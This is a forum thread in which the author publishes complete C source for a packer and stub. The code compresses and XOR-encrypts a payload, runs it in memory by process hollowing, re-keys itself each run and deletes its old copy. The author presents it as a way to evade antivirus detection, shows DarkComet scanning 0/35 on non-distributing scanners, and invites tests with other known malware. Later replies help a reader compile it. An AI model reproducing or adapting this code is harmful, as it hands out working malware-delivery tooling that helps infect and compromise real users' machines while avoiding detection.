Packers - Executable Compression and Data Obfuscation


#1

Greetings, all. The following paper will be documenting an example of executable compression, AKA packers which I have developed over the past couple of days. Like crypters, I feel as though they are some form of hidden dark art of the underground communities. Though there are many publicly available packers out there (UPX, Themida, etc.), I have not seen many papers or articles on how to create them but I have happened to come across Gunther’s How to Write a Simple Executable Packer in C which has enabled me to pursue further research on this enigmatic topic. After reading this, I hope all of you will gain an understanding of at least how these tools function.

Disclaimer: The following material may not be beginner-friendly as it requires a fair amount of knowledge of Windows programming.

Proficiency in C/C++
Knowledge of the WinAPI and its documentation
Knowledge of basic cryptography
Knowledge of file compression
Knowledge of the PE file structure

An Introduction to Packers

Packers are a tool which are used for their spacial advantages and deterring reverse engineering attempts such as disassembly by obfuscating the data through compression. Because of the resulting data obfuscation characteristic, it allows malware developers to hide malicious code within executables to evade antivirus detection. This behavior is similar to that of crypters which use encryption for data obfuscation. Packers can also utilize the encryption method of crypters to provide a double layer of obfuscation where compression is the next step. Let’s get a visual representation of a packed executable in action.

The packer is responsible for compressing (and encrypting) the payload.

+---------+    +--------+    +------+--------------------------------+
| Payload | -> | Packer | => | Stub | Compressed + encrypted payload |
+---------+    +--------+    +------+--------------------------------+

The stub is the part of the executable which extracts (decrypts and decompresses) the payload for execution.

+------+--------------------------------+                 +------------------+
| Stub | Compressed + encrypted payload | == execution => | Original payload |
+------+--------------------------------+                 +------------------+

Coding the Packer

The packer is required to compress and encrypt the payload, then add it to the stub. The following provides a possible packer design.

Packer Pseudocode

1. Read the payload file into a buffer
2. Update struct with a pointer to the buffer and its size 
3. Compress the payload buffer
4. Encrypt the buffer
5. Create the stub output file
6. Update the stub by adding the payload buffer

Here is the code for this design.

#include <stdio.h>
#include <stdarg.h>
#include <windows.h>
#include <wincrypt.h>
#include <zlib.h>

#include "resource.h"

#define WIN32_LEAN_AND_MEAN
#define DEBUG
#define DEBUG_TITLE "STUB - DEBUG MESSAGE"

#define BUFFER_RSRC_ID 10
#define FILE_SIZE_RSRC_ID 20
#define KEY_RSRC_ID 30

#define KEY_LEN 64

typedef struct _FileStruct {
    PBYTE pBuffer;
    DWORD dwBufSize;
    DWORD dwFileSize;
    PBYTE pKey;
} FileStruct, *pFileStruct;

VOID Debug(LPCSTR fmt, ...) {
#ifdef DEBUG
    va_list args;

    va_start(args, fmt);
    vprintf(fmt, args);

    va_end(args);
#endif
}

FileStruct *LoadFile(LPCSTR szFileName) {
    Debug("Loading %s...\n", szFileName);

    Debug("Initializing struct...\n");
    FileStruct *fs = (FileStruct *)malloc(sizeof(*fs));
    if (fs == NULL) {
        Debug("Create %s file structure error: %lu\n", szFileName, GetLastError());
        return NULL;
    }

    Debug("Initializing file...\n");
    // get file handle to file
    HANDLE hFile = CreateFile(szFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        Debug("Create file error: %lu\n", GetLastError());
        free(fs);
        return NULL;
    }

    // get file size
    Debug("Retrieving file size...\n");
    fs->dwFileSize = GetFileSize(hFile, NULL);
    if (fs->dwFileSize == INVALID_FILE_SIZE) {
        Debug("Get file size error: %lu\n", GetLastError());
        CloseHandle(hFile);
        free(fs);
        return NULL;
    }
    fs->dwBufSize = fs->dwFileSize;

    // create heap buffer to hold file contents
    fs->pBuffer = (PBYTE)malloc(fs->dwFileSize);
    if (fs->pBuffer == NULL) {
        Debug("Create buffer error: %lu\n", GetLastError());
        CloseHandle(hFile);
        free(fs);
        return NULL;
    }

    // read file contents
    Debug("Reading file contents...\n");
    DWORD dwRead = 0;
    if (ReadFile(hFile, fs->pBuffer, fs->dwFileSize, &dwRead, NULL) == FALSE) {
        Debug("Read file error: %lu\n", GetLastError());
        CloseHandle(hFile);
        free(fs);
        return NULL;
    }
    Debug("Read 0x%08x bytes\n\n", dwRead);

    // clean up
    CloseHandle(hFile);

    return fs;
}

BOOL UpdateStub(LPCSTR szFileName, FileStruct *fs) {
    // start updating stub's resources
    HANDLE hUpdate = BeginUpdateResource(szFileName, FALSE);
    // add file as a resource to stub
    if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(BUFFER_RSRC_ID), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), fs->pBuffer, fs->dwBufSize) == FALSE) {
        Debug("Update resource error: %lu\n", GetLastError());
        return FALSE;
    }

    // add file size as a resource to stub
    if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(FILE_SIZE_RSRC_ID), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), (PVOID)&fs->dwFileSize, sizeof(DWORD)) == FALSE) {
        Debug("Update resource error: %lu\n", GetLastError());
        return FALSE;
    }

    // add decryption key as a resource
    if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(KEY_RSRC_ID), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), fs->pKey, KEY_LEN) == FALSE) {
        Debug("Update resource error: %lu\n", GetLastError());
        return FALSE;
    }

    EndUpdateResource(hUpdate, FALSE);

    return TRUE;
}

BOOL BuildStub(LPCSTR szFileName, FileStruct *fs) {
    Debug("Building stub: %s...\n", szFileName);

    // get stub program as a resource
    HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(1), "STUB");
    if (hRsrc == NULL) {
        Debug("Find stub resource error: %lu\n", GetLastError());
        return FALSE;
    }
    DWORD dwSize = SizeofResource(NULL, hRsrc);

    HGLOBAL hGlobal = LoadResource(NULL, hRsrc);
    if (hGlobal == NULL) {
        Debug("Load stub resource error: %lu\n", GetLastError());
        return FALSE;
    }

    // get stub's file content
    PBYTE pBuffer = (PBYTE)LockResource(hGlobal);
    if (pBuffer == NULL) {
        Debug("Lock stub resource error: %lu\n", GetLastError());
        return FALSE;
    }

    // create output file
    Debug("Creating stub...\n");
    HANDLE hFile = CreateFile(szFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        Debug("Create stub error: %lu\n", GetLastError());
        free(pBuffer);
        return FALSE;    
    }

    // write stub content to output file
    Debug("Writing payload to stub...\n");
    DWORD dwWritten = 0;
    if (WriteFile(hFile, pBuffer, dwSize, &dwWritten, NULL) == FALSE) {
        Debug("Write payload to stub error: %lu\n", GetLastError());
        CloseHandle(hFile);
        free(pBuffer);
        return FALSE;
    }
    Debug("Wrote 0x%08x bytes\n\n");

    CloseHandle(hFile);

    // add payload to stub
    Debug("Updating stub with payload...\n");
    if (UpdateStub(szFileName, fs) == FALSE)
        return FALSE;

    return TRUE;
}

BOOL GenerateKey(FileStruct *fs) {
    fs->pKey = (PBYTE)malloc(KEY_LEN);
    if (fs->pKey == NULL) return FALSE;

    // initialize crypto service provider
    HCRYPTPROV hProv = NULL;
    if (CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, 0) == FALSE) {
        Debug("Crypt aquire context error: %lu\n", GetLastError());
        free(fs->pKey);
        return FALSE;
    }

    // generate secure bytes
    Debug("Generating cryptographically secure bytes...\n");
    if (CryptGenRandom(hProv, KEY_LEN, fs->pKey) == FALSE) {
        Debug("Generate random key error: %lu\n", GetLastError());
        free(fs->pKey);
        return FALSE;
    }
    Debug("Using key: ");
    for (int i = 0; i < KEY_LEN; i++)
        Debug("0x%02x ", fs->pKey[i]);
    Debug("\n");

    // clean up
    CryptReleaseContext(hProv, 0);

    return TRUE;
}

// XOR
BOOL EncryptPayload(FileStruct *fs) {
    Debug("EncryptPayloading payload...\n");

    Debug("Generating key...\n");
    if (GenerateKey(fs) == FALSE) return FALSE;

    for (DWORD i = 0; i < fs->dwBufSize; i++)
        fs->pBuffer[i] ^= fs->pKey[i % KEY_LEN];

    Debug("EncryptPayloadion routine complete\n");
    return TRUE;
}

BOOL CompressPayload(FileStruct *fs) {
    Debug("Compressing payload...\n");
    
    PBYTE pCompressedBuffer = (PBYTE)malloc(fs->dwBufSize);
    ULONG ulCompressedBufSize = compressBound((ULONG)fs->dwBufSize);
    compress(pCompressedBuffer, &ulCompressedBufSize, fs->pBuffer, fs->dwBufSize);

    fs->pBuffer = pCompressedBuffer;
    fs->dwBufSize = ulCompressedBufSize;

    Debug("Compression routine complete\n");
    return TRUE;
}

int main(int argc, char *argv[]) {
    printf("Copyright (C) 2016  93aef0ce4dd141ece6f5\n\n");
    if (argc < 3) {
        Debug("Usage: %s [INPUT FILE] [OUTPUT FILE]\n", argv[0]);
        return 1;
    }

    FileStruct *fs = LoadFile(argv[1]);
    if (fs == NULL) return 1;

    Debug("Applying obfuscation...\n");
    if (CompressPayload(fs) == FALSE) {
        free(fs);
        return 1;
    }

    if (EncryptPayload(fs) == FALSE) {
        free(fs);
        return 1;
    }
    Debug("\n");

    if (BuildStub(argv[2], fs) == FALSE) {
        free(fs->pKey);
        free(fs);
        return 1;
    }

    // clean up
    free(fs->pKey);
    free(fs);

    Debug("\nDone\n");

    return 0;
}

The CompressPayload function uses the zLib third party compression library to perform the compression routine on the payload buffer.

The EncryptPayload function uses the XOR cipher method purely as an example. Use of other ciphers in place of the XOR such as RC4 or AES is entirely possible. There is a function within this function, GenerateKey which uses the WinAPI’s Cryptography library to uniquely (for each execution of the program) generate a 32-bit length key using a CSPRNG.

The BuildStub function creates and adds resources to the stub. These resources are the information stored inside the file struct _FileStruct as it is required in the routines within the stub itself. These resources will be visually shown after the stub code is covered.


Coding the Stub

The stub is responsible for the extraction and execution of the payload. Note that it must be the reverse operation of the packer. The following shows a possible design.

Stub Pseudocode

1. Extract the resources
2. Decrypt the payload buffer
3. Decompress the buffer
4. Drop the payload
5. Execute the payload

The code for this design is as follows.

#include <stdio.h>
#include <string.h>
#include <stdarg.h>
#include <windows.h>
#include <wincrypt.h>
#include <zlib.h>

#define WIN32_LEAN_AND_MEAN
#define DEBUG
#define DEBUG_TITLE "STUB - DEBUG MESSAGE"

#define BUFFER_RSRC_ID 10
#define FILE_SIZE_RSRC_ID 20
#define KEY_RSRC_ID 30

#define KEY_LEN 64

typedef VOID(*PZUVOS)(HANDLE, PVOID);

typedef struct _FileStruct {
    PBYTE pBuffer;
    DWORD dwBufSize;
    DWORD dwFileSize;
    PBYTE pKey;
} FileStruct, *pFileStruct;

VOID Debug(LPCSTR fmt, ...) {
#ifdef DEBUG
    CHAR szDebugBuf[BUFSIZ];
    va_list args;

    va_start(args, fmt);
    vsprintf(szDebugBuf, fmt, args);
    MessageBox(NULL, szDebugBuf, DEBUG_TITLE, MB_OK);

    va_end(args);
#endif
}

FileStruct *ExtractPayload(VOID) {
    FileStruct *fs = (FileStruct *)malloc(sizeof(*fs));
    if (fs == NULL) return NULL;

    // get file buffer
    // get size of resource
    HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(BUFFER_RSRC_ID), RT_RCDATA);
    if (hRsrc == NULL) {
        Debug("Find buffer resource error: %lu\n", GetLastError());
        free(fs);
        return NULL;
    }
    fs->dwBufSize = SizeofResource(NULL, hRsrc);

    // get pointer to resource buffer
    HGLOBAL hGlobal = LoadResource(NULL, hRsrc);
    if (hGlobal == NULL) {
        Debug("Load buffer resource error: %lu\n", GetLastError());
        free(fs);
        return NULL;
    }

    fs->pBuffer = (PBYTE)LockResource(hGlobal);
    if (fs->pBuffer == NULL) {
        Debug("Lock buffer resource error: %lu\n", GetLastError());
        free(fs);
        return NULL;
    }

    // get actual file size resource
    hRsrc = FindResource(NULL, MAKEINTRESOURCE(FILE_SIZE_RSRC_ID), RT_RCDATA);
    if (hRsrc == NULL) {
        Debug("Find file size error: %lu\n", GetLastError());
        free(fs);
        return NULL;
    }

    // get file size value
    hGlobal = LoadResource(NULL, hRsrc);
    if (hGlobal == NULL) {
        Debug("Load buffer resource error: %lu\n", GetLastError());
        free(fs);
        return NULL;
    }
    fs->dwFileSize = *(LPDWORD)LockResource(hGlobal);

    // get decryption key
    hRsrc = FindResource(NULL, MAKEINTRESOURCE(KEY_RSRC_ID), RT_RCDATA);
    if (hRsrc == NULL) {
        Debug("Find key resource error: %lu\n", GetLastError());
        free(fs);
        return NULL;
    }

    // get pointer to key buffer
    hGlobal = LoadResource(NULL, hRsrc);
    if (hGlobal == NULL) {
        Debug("Load key resource error: %lu\n", GetLastError());
        free(fs);
        return NULL;
    }
    fs->pKey = (PBYTE)LockResource(hGlobal);
    if (fs->pKey == NULL) {
        Debug("Lock buffer resource error: %lu\n", GetLastError());
        free(fs);
        return NULL;
    }

    return fs;
}

BOOL UpdateResources(FileStruct *fs, LPCSTR szFileName) {
    HANDLE hUpdate = BeginUpdateResource(szFileName, FALSE);
    // add file as a resource to stub
    if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(BUFFER_RSRC_ID), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), fs->pBuffer, fs->dwBufSize) == FALSE) {
        Debug("Update resource error: %lu\n", GetLastError());
        return FALSE;
    }

    // add decryption key as a resource
    if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(KEY_RSRC_ID), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), fs->pKey, KEY_LEN) == FALSE) {
        Debug("Update resource error: %lu\n", GetLastError());
        return FALSE;
    }

    if (EndUpdateResource(hUpdate, FALSE) == FALSE) {
        Debug("End update resource error: %lu\n", GetLastError());
    }

    return TRUE;
}

BOOL GenerateKey(FileStruct *fs) {
    fs->pKey = (PBYTE)malloc(KEY_LEN);
    if (fs->pKey == NULL) return FALSE;

    // initialize crypto service provider
    HCRYPTPROV hProv = NULL;
    if (CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, 0) == FALSE) {
        Debug("Crypt aquire context error: %lu\n", GetLastError());
        free(fs->pKey);
        return FALSE;
    }

    // generate secure bytes
    //Debug("Generating cryptographically secure bytes...\n");
    if (CryptGenRandom(hProv, KEY_LEN, fs->pKey) == FALSE) {
        Debug("Generate random key error: %lu\n", GetLastError());
        free(fs->pKey);
        return FALSE;
    }
    /*
    Debug("Using key: ");
    for (int i = 0; i < KEY_LEN; i++)
        Debug("0x%02x ", fs->pKey[i]);
    Debug("\n");
    */

    // clean up
    CryptReleaseContext(hProv, 0);

    return TRUE;
}

// XOR
BOOL DecryptPayload(FileStruct *fs) {
    PBYTE pDecryptPayloadedBuffer = (PBYTE)malloc(fs->dwBufSize);
    if (pDecryptPayloadedBuffer == NULL) return FALSE;

    for (DWORD i = 0; i < fs->dwBufSize; i++)
        pDecryptPayloadedBuffer[i] = fs->pBuffer[i] ^ fs->pKey[i % KEY_LEN];

    fs->pBuffer = pDecryptPayloadedBuffer;

    return TRUE;
}

// XOR
BOOL Encrypt(FileStruct *fs) {
    return DecryptPayload(fs);
}

BOOL DecompressPayload(FileStruct *fs) {
    PBYTE pDecompressedBuffer = (PBYTE)malloc(fs->dwFileSize);
    ULONG ulDecompressedBufSize;
    uncompress(pDecompressedBuffer, &ulDecompressedBufSize, fs->pBuffer, fs->dwFileSize);

    fs->pBuffer = pDecompressedBuffer;
    fs->dwBufSize = ulDecompressedBufSize;

    return TRUE;
}

VOID DropAndExecutePayload(FileStruct *fs, LPCSTR szFileName) {
    DWORD dwWritten;
    HANDLE hFile = CreateFile(szFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    WriteFile(hFile, fs->pBuffer, fs->dwFileSize, &dwWritten, NULL);
    CloseHandle(hFile);
    ShellExecute(NULL, NULL, szFileName, NULL, NULL, SW_NORMAL);
}

BOOL MemoryExecutePayload(FileStruct *fs) {
    // PE headers
    PIMAGE_DOS_HEADER pidh;
    PIMAGE_NT_HEADERS pinh;
    PIMAGE_SECTION_HEADER pish;

    // process info
    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    // pointer to virtually allocated memory
    LPVOID lpAddress = NULL;

    // context of suspended thread for setting address of entry point
    CONTEXT context;

    // need function pointer for ZwUnmapViewOfSection from ntdll.dll
    PZUVOS pZwUnmapViewOfSection = NULL;

    // get file name
    CHAR szFileName[MAX_PATH];
    GetModuleFileName(NULL, szFileName, MAX_PATH);

    // first extract header info 
    // check if valid DOS header
    pidh = (PIMAGE_DOS_HEADER)fs->pBuffer;
    if (pidh->e_magic != IMAGE_DOS_SIGNATURE) {
        Debug("DOS signature error");
        return FALSE;
    }

    // check if valid pe file
    pinh = (PIMAGE_NT_HEADERS)((DWORD)fs->pBuffer + pidh->e_lfanew);
    if (pinh->Signature != IMAGE_NT_SIGNATURE) {
        Debug("PE signature error");
        return FALSE;
    }

    // first create process as suspended
    memset(&si, 0, sizeof(si));
    memset(&pi, 0, sizeof(pi));
    si.cb = sizeof(si);
    if (CreateProcess(szFileName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi) == FALSE) {
        Debug("Create process error %lu\n", GetLastError());
        return FALSE;
    }

    context.ContextFlags = CONTEXT_FULL;
    if (GetThreadContext(pi.hThread, &context) == FALSE) {
        Debug("Get thread context");
    }

    // unmap memory space for our process
    pZwUnmapViewOfSection = (PZUVOS)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");
    pZwUnmapViewOfSection(pi.hProcess, (PVOID)pinh->OptionalHeader.ImageBase);

    // allocate virtual space for process
    lpAddress = VirtualAllocEx(pi.hProcess, (PVOID)pinh->OptionalHeader.ImageBase, pinh->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (lpAddress == NULL) {
        Debug("Virtual alloc error: %lu\n", GetLastError());
        return FALSE;
    }

    // write headers into memory
    if (WriteProcessMemory(pi.hProcess, (PVOID)pinh->OptionalHeader.ImageBase, fs->pBuffer, pinh->OptionalHeader.SizeOfHeaders, NULL) == FALSE) {
        Debug ("Write headers error: %lu\n", GetLastError());
        return FALSE;
    }

    // write each section into memory
    for (int i = 0; i < pinh->FileHeader.NumberOfSections; i++) {
        // calculate section header of each section
        pish = (PIMAGE_SECTION_HEADER)((DWORD)fs->pBuffer + pidh->e_lfanew + sizeof (IMAGE_NT_HEADERS) + sizeof (IMAGE_SECTION_HEADER) * i);
        // write section data into memory
        WriteProcessMemory(pi.hProcess, (PVOID)(pinh->OptionalHeader.ImageBase + pish->VirtualAddress), (LPVOID)((DWORD)fs->pBuffer + pish->PointerToRawData), pish->SizeOfRawData, NULL);
    }

    // set starting address at virtual address: address of entry point
    context.Eax = pinh->OptionalHeader.ImageBase + pinh->OptionalHeader.AddressOfEntryPoint;
    if (SetThreadContext(pi.hThread, &context) == FALSE) {
        Debug("Set thread context error: %lu\n", GetLastError());
        return FALSE;
    }

    // resume our suspended processes
    if (ResumeThread(pi.hThread) == -1) {
        Debug("Resume thread error: %lu\n", GetLastError());
        return FALSE;
    }

    WaitForSingleObject(pi.hProcess, INFINITE);

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    return TRUE;
}

/*
VOID RunFromMemory(FileStruct *fs) {
    Debug("%p", fs->pBuffer);
    HMEMORYMODULE hModule = MemoryLoadLibrary(fs->pBuffer, fs->dwFileSize);
    if (hModule == NULL) {
        Debug("Memory load library error: %lu\n", GetLastError());
        return;
    }

    int nSuccess = MemoryCallEntryPoint(hModule);
    if (nSuccess < 0) {
        Debug("Memory call entry point error: %d\n", nSuccess);
    }

    MemoryFreeLibrary(hModule);
}
*/

VOID SelfDelete(LPCSTR szFileName) {
    PROCESS_INFORMATION pi = { 0 };
    STARTUPINFO si = { 0 };
    si.cb = sizeof(si);
    //CreateFile("old.exe", 0, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_DELETE_ON_CLOSE, NULL);
    CHAR szCmdLine[MAX_PATH];
    sprintf(szCmdLine, "%s delete", szFileName);
    if (CreateProcess(NULL, szCmdLine, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi) == FALSE) {
        Debug("Create process error: %lu\n", GetLastError());
    }
}

BOOL PolymorphPayload(LPCSTR szFileName) {
    MoveFile(szFileName, "old.exe");
    CopyFile("old.exe", szFileName, FALSE);

    // re-extract resources
    FileStruct *fs = ExtractPayload();
    if (fs == NULL) return FALSE;

    // decrypt buffer
    if (DecryptPayload(fs) == FALSE) {
        Debug("DecryptPayload buffer error: %lu\n", GetLastError());
        free(fs);
        return FALSE;
    }

    // generate new key
    if (GenerateKey(fs) == FALSE) {
        Debug("Generate key error: %lu\n", GetLastError());
        free(fs);
        return FALSE;
    }

    // encrypt with new key
    if (Encrypt(fs) == FALSE) {
        Debug("Encrypt buffer error: %lu\n", GetLastError());
        free(fs->pKey);
        return FALSE;
    }

    // update resources
    if (UpdateResources(fs, szFileName) == FALSE) {
        free(fs->pKey);
        free(fs);
        return FALSE;
    }

    SelfDelete(szFileName);

    free(fs->pKey);
    free(fs);

    return TRUE;
}

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
    if (strstr(GetCommandLine(), "delete") != NULL) {
        while (DeleteFile("old.exe") == FALSE);
    } else {
        FileStruct *fs = ExtractPayload();
        if (fs == NULL) {
            Debug("Extract file error: %lu\n", GetLastError());
            return 1;
        }

        if (DecryptPayload(fs) == TRUE) {
            if (DecompressPayload(fs) == TRUE)
                //DropAndExecutePayload(fs, "test.exe");
                MemoryExecutePayload(fs);
        }
        free(fs->pBuffer);
        free(fs);

        CHAR szFileName[MAX_PATH];
        GetModuleFileName(NULL, szFileName, MAX_PATH);
        PolymorphPayload(szFileName);
    }

    return 0;
}

The stub simply performs the reversal of the packer. After extracting the necessary information from the resources into the struct, it first deobfuscates the payload by decrypting and then decompressing the buffer with DecryptPayload and DecompressPayload. After a successful deobfuscation, the stub will simply drop the executable in the same directory and execute it. Of course, using the RunPE/Dynamic Forking method would eliminate any disk activity and the resulting forensics.


Resources and the PE File Format

Here is a quick file analysis showing the resources within a file.

The arrow shows the section for resources (.rsrc) and within the section is simply the resource which has been added to the binary. The labels in the red box on the left represent the different resources which exist in the PE file. Currently, PEView shows the RCDATA (raw data) for resource ID 000A which, as seen from the code above, is the obfuscated payload.

Here is the 32-byte key for the XOR cipher.


Demonstration

Here is a quick demonstration using putty.exe as the payload.

Firstly, launching the packer to create the stub and to add an obfuscated payload.

Off-screen, the size of putty.exe is ~512 KB while the stub is ~318 KB. Now, we can launch the generated stub.


As we can see, it dropped the deobfuscated payload test.exe and then executed it.


Update August 1, 2016

Added feature to execute packed payload directly from memory.

I’ve just added the RunPE method to my packer and it works perfectly (when compiled with MinGW). Here are some (non-distributing) virus scans with Dark Comet.
Majyx (0/35)


NoDistribute (0/35)

Please feel free to test other known malware with these two (or any other NON distributing virus scanning websites).

Added feature to polymorph packed payload

Basically just re-encrypts the compressed payload with a new key.


Conclusion

The only difficult aspect in this is understanding the resource management but other than that, it’s a pretty simple concept. I’ve added the necessary files to my GitHub including a compiled 32-bit binary.

Thank you for reading.

– dtm


(pico) #2

Great post as usual mate! :wink:


#3

Bump. Updated information.


(RooT HaXor) #4

Great POST brother will learn it you explained it well


(pico) #5

You did it!. Very nice solution!


(Wbdn) #6

Nice tut, thank you!
1st i’ve built packer stub

Screenshot

link

next i’ve build packer with stub in same dir [details=Screen]link [/details]

next i’m trying to pack exe
but i got [details=error]

[/details]

When i compile with VS i have virtualAlloc error 6, with mingw i cant link zlib lib


#7

Hi there.

I’m assuming you’re using the RunPE method to execute the payload since it’s default but I did mention that compiling with MSVS would return errors.

With zLib, I see you’ve used zlibstat.lib which (I believe) isn’t the latest version. You’ll need to navigate the the zLib Home Page and download it from one of these mirrors from this section of the page:


It should come with a zdll.lib with which you should link.

Also, please make sure that you include the resource file rsrc.rc into the compilation phase otherwise Packer.exe will not receive the PackerStub.exe resource.


(Wbdn) #9

thanks for answer! i’ve compiled packerstub with mingw, how can i include resource file into compilation phase?


#10

MinGW - MS Resource Compiler


(Wbdn) #11

big thanks for help, but now i got virtualAlloc error 487 and next end update resource error 5(win 10 x64 pro))
also, there is any way to link zlib1 statically?


#13

There’s a download to the source files. Inside, you can manually compile the zlibstat with MSVC++.


(Mino) #14

one small question if this putty generated it’s loaded in memory it will crash?


#15

Awesome like always @dtm


#16

Sorry, I don’t quite understand what you’re trying to ask. To which stage are you referring? the packing or the RunPE execution?


(Friend Friend) #17

i mean the stub combined with payload could be loaded in memory? and at last your stub is dropping the file in disk that’s i think is not good idea. but it’s only my opinion not sure. i was refering to runpe will work with the packed file?


#18

You don’t need to touch the disk if you use RunPE. And yes, RunPE should work for the packed file.


(Friend Friend) #19

yeah but my question is you are dropping the payload unencrypted on the disk . at last will be the same file in disk and this is not a good idea is just my opinion maybe i’m wrong. but using runpe not drop the disk and why? i dont understand in the function you drop the payload so why change the behaviour of your stub just using runpe? i dont understand this well.


#20

You can write it to disk as an option but as I said, you don’t need to because you can use RunPE to load the payload directly into memory for execution. They’re both different functions that do different things.


(Command-Line Ninja) #21

This topic was automatically closed after 4 days. New replies are no longer allowed.


#22